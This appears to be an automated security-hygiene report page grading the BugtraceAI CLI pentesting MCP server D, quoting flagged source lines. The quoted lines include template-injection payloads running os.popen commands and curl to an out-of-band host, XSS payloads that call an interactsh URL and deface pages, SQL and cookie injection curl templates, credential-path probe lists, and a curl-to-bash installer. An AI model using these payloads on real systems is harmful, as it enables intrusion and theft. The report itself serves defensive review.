MCP, MCP server
Bugtraceai Cli
Agentic web pentesting with a terminal workspace, specialist tools, browser validation, REST and MCP.
Compatibility: Not stated.
Grade D
Two or more Medium findings, or a High finding. Only try it in a sandbox.
Not a guarantee. A hygiene check of the source at the commit shown, not a security audit.
Rescanned at commit 3cde00eca1d5.
NETWORK_HOST_FROM_INPUT SECRETS_PATH_CREDENTIAL OBFUSCATION_MINIFIED_PAYLOAD
Why this grade
- NETWORK_HOST_FROM_INPUT High
A file takes a URL or endpoint as input and has no fixed host list.
bugtrace/agents/analysis_shell/sqli_probes.py, line 135
"reproduction": f"[PROBE-VALIDATED] curl -s -o /dev/null -w '%{{http_code}}' '{url_single}' # Returns {status_single}" - SECRETS_PATH_CREDENTIAL Medium
Mentions a credential store path (~/.ssh, id_rsa, .npmrc, .aws/credentials, credentials.json, .netrc).
bugtrace/agents/asset_discovery/agent.py, line 388
"/.aws/credentials", "/.docker", "/api/v1", "/api/v2", "/api/docs", - OBFUSCATION_MINIFIED_PAYLOAD Medium
Contains a very long line with almost no spaces in a script or style file.
bugtrace/agents/xss/agent.py, line 293
"%253Csvg%2520onload%253D%2522fetch%2528%2527https%253A%252F%252F{{interactsh_url}}%2527%2529%253Bvar%253Ddocument.createElement%2528%2527div%2527%2529%253Bb.id%253D%2527bt-pwn%252
Any High, or two or more Medium findings, give D. One Medium gives C. Low findings or a security Note give B. Each code names a finding behind the letter.
If you think this grade is wrong, email [email protected] with the entry link and your evidence. We aim to acknowledge within two working days and decide within seven. If we confirm an error, we aim to correct it within 24 hours of confirming it. These are aims, not guarantees.
Grades are a hygiene check of the source at the commit shown, on the date checked, not a security audit or a guarantee. The free directory grades are automated. Before release, a PlugVet engineer reviews every paid report and any grade we hold back, including all F grades, against the source code and the evidence we quote.
What was checked
Plain notes from the hygiene checks.
Permissions
Concern
can delete files.
PERMISSION_DELETE_FILES
bugtrace/agents/csti/agent.py, line 120
"{{cycler.__init__.__globals__.os.popen('id').read()}}",
bugtrace/agents/csti/agent.py, line 165
"${self.module.cache.util.os.popen('id').read()}",
bugtrace/agents/csti/agent.py, line 166
"<%import os%>${os.popen('id').read()}",
Show more
bugtrace/agents/csti/agent.py, line 168
"<%import os%>${os.popen('curl {{INTERACTSH}}').read()}",
bugtrace/agents/csti/payloads.py, line 87
"{{cycler.__init__.__globals__.os.popen('id').read()}}",
bugtrace/agents/csti/payloads.py, line 132
"${self.module.cache.util.os.popen('id').read()}",
bugtrace/agents/csti/payloads.py, line 133
"<%import os%>${os.popen('id').read()}",
bugtrace/agents/csti/payloads.py, line 135
"<%import os%>${os.popen('curl {{INTERACTSH}}').read()}",
bugtrace/core/cdp_client.py, line 391
shutil.rmtree(self._temp_dir)
Install and update
Concern
dependencies are not pinned. The docs document an installer that pipes a download into a shell.
INSTALL_UNPINNED INSTALL_DOCUMENTED_INSTALLER
INSTALLATION.md, line 11
curl -fsSL https://raw.githubusercontent.com/BugTraceAI/BugTraceAI-Launcher/main/install.sh | bash
README.md, line 58
curl -fsSL https://raw.githubusercontent.com/BugTraceAI/BugTraceAI-Launcher/main/install.sh | bash
requirements.txt, line 21
typer>=0.9.0,<1.0
Network
Serious
accepts a host from input, with no fixed list in this file.
NETWORK_HOST_FROM_INPUT
bugtrace/agents/analysis_shell/sqli_probes.py, line 135
"reproduction": f"[PROBE-VALIDATED] curl -s -o /dev/null -w '%{{http_code}}' '{url_single}' # Returns {status_single}"
bugtrace/agents/analysis_shell/sqli_probes.py, line 157
"reproduction": f"[PROBE-VALIDATED] curl '{url_single}' | grep -i 'error\\|sql'"
bugtrace/agents/analysis_shell/sqli_probes.py, line 203
"reproduction": f"[PROBE-VALIDATED] time curl '{url_sleep}' # Should take ~3 seconds"
Show more
bugtrace/agents/analysis_shell/sqli_probes.py, line 222
"reproduction": f"[PROBE-VALIDATED] time curl --max-time 10 '{url_sleep}'"
bugtrace/agents/analysis_shell/sqli_probes.py, line 278
"reproduction": f"[PROBE-VALIDATED] curl -s -o /dev/null -w '%{{http_code}}' '{url_single}' # Returns {status_single}"
bugtrace/agents/analysis_shell/sqli_probes.py, line 301
"reproduction": f"[PROBE-VALIDATED] curl '{url_single}' | grep -i 'error\\|sql'"
bugtrace/agents/analysis_shell/sqli_probes.py, line 356
for curl in cookie_urls:
bugtrace/agents/analysis_shell/sqli_probes.py, line 558
"reproduction": f"[PROBE-VALIDATED] curl -b '{cookie_name}={val_injected}' '{test_url}' # Returns {status_injected}"
bugtrace/agents/analysis_shell/sqli_probes.py, line 651
"reproduction": f"[PROBE-VALIDATED] curl -b '{cookie_name}={cookie_true}' '{test_url}' # TRUE: ~{elapsed_true:.0f}s vs FALSE: ~{elapsed_false:.0f}s",
bugtrace/agents/analysis_shell/sqli_probes.py, line 782
f"xargs -I{{}} curl -b '{cookie_name}={{}}' '{test_url}' "
bugtrace/agents/analysis_shell/sqli_probes.py, line 855
"reproduction": f"[PROBE-VALIDATED] curl -b '{cookie_name}={deser_probe}' '{test_url}' | grep -i pickle"
bugtrace/agents/api_security/agent.py, line 46
3. WebSocket (injection, auth bypass)
bugtrace/agents/api_security/core.py, line 180
"reproduction": f"curl -X GET '{endpoint}' # Returns 200 instead of 401/403",
bugtrace/agents/api_security/core.py, line 252
"reproduction": f"curl -X OPTIONS '{endpoint}' -i # inspect the Allow header",
bugtrace/agents/api_security/core.py, line 294
f"curl -X POST '{endpoint}' -H 'Content-Type: application/json' "
bugtrace/agents/api_security/core.py, line 331
f"# Original: curl '{endpoint}'\n# IDOR: curl '{test_endpoint}'"
bugtrace/agents/consolidation/core.py, line 59
"system compromise, ping curl wget exploits"
bugtrace/agents/csti/exploitation.py, line 95
curl_cmd = f"curl '{encoded_url}' | grep 1000006000009"
bugtrace/agents/csti_shell/validation_flow.py, line 350
curl_cmd = f"curl '{encoded_url}' | grep 1000006000009"
bugtrace/agents/dastysast/exploitation_cookie.py, line 81
for curl in cookie_urls:
bugtrace/agents/dastysast/exploitation_cookie.py, line 295
"reproduction": f"[PROBE-VALIDATED] curl -b '{cookie_name}={val_injected}' '{test_url}' # Returns {status_injected}",
bugtrace/agents/dastysast/exploitation_cookie.py, line 446
f"[PROBE-VALIDATED] curl -b '{cookie_name}={cookie_true_val}' '{test_url}' "
bugtrace/agents/dastysast/exploitation_cookie.py, line 500
"reproduction": f"[PROBE-VALIDATED] curl -b '{cookie_name}={deser_probe}' '{test_url}' | grep -i pickle",
bugtrace/agents/dastysast/exploitation_sqli.py, line 140
"reproduction": f"[PROBE-VALIDATED] curl -s -o /dev/null -w '%{{http_code}}' '{url_single}' # Returns {status_single}",
bugtrace/agents/dastysast/exploitation_sqli.py, line 162
"reproduction": f"[PROBE-VALIDATED] curl '{url_single}' | grep -i 'error\\|sql'",
bugtrace/agents/dastysast/exploitation_sqli.py, line 204
"reproduction": f"[PROBE-VALIDATED] time curl '{url_sleep}' # Should take ~3 seconds",
bugtrace/agents/dastysast/exploitation_sqli.py, line 222
"reproduction": f"[PROBE-VALIDATED] time curl --max-time 10 '{url_sleep}'",
bugtrace/agents/dastysast/exploitation_sqli.py, line 269
"reproduction": f"[PROBE-VALIDATED] curl -s -o /dev/null -w '%{{http_code}}' '{url_single}' # Returns {status_single}",
bugtrace/agents/dastysast/exploitation_sqli.py, line 291
"reproduction": f"[PROBE-VALIDATED] curl '{url_single}' | grep -i 'error\\|sql'",
bugtrace/agents/fileupload/core.py, line 103
f"curl -X POST '{url}' -F 'file=@{filename}'\n"
bugtrace/agents/fileupload/core.py, line 105
f"curl '{uploaded_url}'"
bugtrace/agents/header_injection/core.py, line 416
"reproduction": f"curl -v '{test_url}'",
bugtrace/agents/idor/types.py, line 26
reproduction: Reproduction steps (curl commands)
bugtrace/agents/mass_assignment/core.py, line 250
f"curl -X {method} '{url}' "
bugtrace/agents/openredirect/agent.py, line 275
"reproduction": f"curl -I '{result.get('test_url')}'",
bugtrace/agents/prototype_pollution/core.py, line 442
Build curl command for reproducing the vulnerability.
bugtrace/agents/prototype_pollution/core.py, line 454
return f"curl -X POST -H 'Content-Type: application/json' -d '{payload_json}' '{url}'"
bugtrace/agents/prototype_pollution/core.py, line 456
return f"curl '{result.get('test_url', url)}'"
bugtrace/agents/prototype_pollution/core.py, line 457
return f"curl '{url}'"
bugtrace/agents/rce/detection.py, line 149
"reproduction": f"# Time-based RCE test:\ntime curl '{test_url}'",
bugtrace/agents/rce/detection.py, line 186
"reproduction": f"curl '{target}' | grep -i 'result'",
bugtrace/agents/rce/detection.py, line 224
"reproduction": f"curl '{test_url}'",
bugtrace/agents/rce/detection.py, line 266
"reproduction": f"curl -b '{cookie_name}={probe_value}' '{url}'",
bugtrace/agents/reporting_shell/misc_flow.py, line 444
2026-01-24 FIX: Generate useful curl commands for ALL vuln types.
bugtrace/agents/reporting_shell/misc_flow.py, line 517
# The payload cannot legally be a header field value (CR/LF); a curl would
bugtrace/agents/reporting_shell/misc_flow.py, line 536
"""Build XSS reproduction command (a browser URL, not a curl — an XSS PoC has to
bugtrace/agents/xss/constants.py, line 41
"'\"><script id=bt-pwn>fetch('https://{{interactsh_url}}')</script>{{7*7}}${7*7}<% 7*7 %>",
bugtrace/agents/xss/constants.py, line 47
"\\\");fetch('https://{{interactsh_url}}');(function(
bugtrace/agents/xss/constants.py, line 50
"\\u0022);fetch('https://{{interactsh_url}}');var b=document.createElement('div');b.id='bt-pwn';b.innerText='HACKED BY BUGTRACEAI';document.body.prepend(b);//",
bugtrace/agents/xss/constants.py, line 54
"\\`+fetch('https://{{interactsh_url}}')+(function(){var b=document.createElement('div');b.id='bt-pwn';b.innerText='HACKED BY BUGTRACEAI';document.body.prepend(b);})()+\\`",
bugtrace/agents/xss/constants.py, line 62
"\"><svg/onload=fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/constants.py, line 68
"<details open ontoggle=fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/constants.py, line 77
"<img src=x onerror=fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/constants.py, line 79
"<svg/onload=fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/constants.py, line 81
"<iframe src=javascript:fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/constants.py, line 82
"<details open ontoggle=fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/constants.py, line 83
"<body onload=fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/constants.py, line 84
"<marquee onstart=fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/hybrid_visual.py, line 290
# banner as the screenshot, curl and (upgraded) payload — instead
bugtrace/agents/xss/llm_misc_flow.py, line 521
"';fetch('https://{{interactsh_url}}');//",
bugtrace/agents/xss/llm_misc_flow.py, line 522
"\";fetch('https://{{interactsh_url}}');//",
bugtrace/agents/xss/llm_misc_flow.py, line 523
"`;fetch('https://{{interactsh_url}}');//",
bugtrace/agents/xss/llm_misc_flow.py, line 524
"</script><script>fetch('https://{{interactsh_url}}')</script>",
bugtrace/agents/xss/llm_misc_flow.py, line 527
"'-fetch('https://{{interactsh_url}}')-'",
bugtrace/agents/xss/llm_misc_flow.py, line 528
"\"-fetch('https://{{interactsh_url}}')-\"",
bugtrace/agents/xss/llm_misc_flow.py, line 529
"\\');fetch('https://{{interactsh_url}}');//",
bugtrace/agents/xss/llm_misc_flow.py, line 532
"\" onmouseover=\"fetch('https://{{interactsh_url}}')\" x=\"",
bugtrace/agents/xss/llm_misc_flow.py, line 533
"' onmouseover='fetch(`https://{{interactsh_url}}`)' x='",
bugtrace/agents/xss/llm_misc_flow.py, line 534
"\"><svg/onload=fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/llm_misc_flow.py, line 537
"javascript:fetch('https://{{interactsh_url}}')",
bugtrace/agents/xss/llm_misc_flow.py, line 538
"data:text/html,<script>fetch('https://{{interactsh_url}}')</script>",
bugtrace/agents/xss/llm_misc_flow.py, line 541
"fetch('https://{{interactsh_url}}')",
bugtrace/agents/xss/llm_misc_flow.py, line 542
"';fetch('https://{{interactsh_url}}');//",
bugtrace/agents/xss/llm_misc_flow.py, line 545
"<img src=x onerror=fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/llm_misc_flow.py, line 546
"<svg/onload=fetch('https://{{interactsh_url}}')>",
bugtrace/agents/xss/llm_misc_flow.py, line 547
"<script>fetch('https://{{interactsh_url}}')</script>",
bugtrace/agents/xss/llm_misc_flow.py, line 551
"{{constructor.constructor('fetch(\"https://{{interactsh_url}}\")')()}}",
bugtrace/agents/xss/policy.py, line 41
for ind in ("localstorage", "sessionstorage", "fetch(", "xmlhttprequest")
Secrets
Concern
reads a credential or environment file.
SECRETS_PATH_CREDENTIAL SECRETS_PATH_DOTENV
bugtrace/agents/asset_discovery/agent.py, line 388
"/.aws/credentials", "/.docker", "/api/v1", "/api/v2", "/api/docs",
bugtrace/agents/asset_discovery/core.py, line 64
"/.aws/credentials", "/.docker", "/api/v1", "/api/v2", "/api/docs",
bugtrace/agents/recon.py, line 226
paths = ["/robots.txt", "/sitemap.xml", "/.env", "/.git/config", "/admin", "/login"]
Show more
bugtrace/agents/asset_discovery/agent.py, line 385
"/.env", "/.env.local", "/.env.production", "/backup", "/backups",
bugtrace/agents/asset_discovery/agent.py, line 426
sensitive_keywords = [".git", ".env", "swagger", "graphql", "admin", "config", "backup"]
bugtrace/agents/asset_discovery/core.py, line 61
"/.env", "/.env.local", "/.env.production", "/backup", "/backups",
bugtrace/agents/asset_discovery/core.py, line 203
SENSITIVE_KEYWORDS = [".git", ".env", "swagger", "graphql", "admin", "config", "backup"]
bugtrace/agents/mixins/tech_context/injection.py, line 318
"- Node.js: package.json, .env files",
Agent instructions
Pass
No instruction to ignore earlier instructions or to hide a step.
Obfuscation
Concern
contains a minified payload.
OBFUSCATION_MINIFIED_PAYLOAD
bugtrace/agents/xss/agent.py, line 293
"%253Csvg%2520onload%253D%2522fetch%2528%2527https%253A%252F%252F{{interactsh_url}}%2527%2529%253Bvar%253Ddocument.createElement%2528%2527div%2527%2529%253Bb.id%253D%2527bt-pwn%252
bugtrace/agents/xss/constants.py, line 44
"%253Csvg%2520onload%253D%2522fetch%2528%2527https%253A%252F%252F{{interactsh_url}}%2527%2529%253Bvar%253Ddocument.createElement%2528%2527div%2527%2529%253Bb.id%253D%2527bt-pwn%252
bugtrace/core/database_helpers.py, line 1
"""Pure DB finding description/status helpers."""
Licence
Pass
A licence file is present (LICENSE).
Maintainer activity
Pass
The latest commit is within the last 365 days.
Note
Hygiene check of commit 3cde00eca1d5. can delete files. dependencies are not pinned. accepts a host from input, with no fixed list in this file. reads a credential or environment file. contains a minified payload.
Date and source
Date checked:
github.com
Commit graded: 3cde00eca1d5aa9d5390ed68f5f71038d71a38de
This link goes to the original host. PlugVet does not host or check what you download from there, and installing it is your own decision and risk.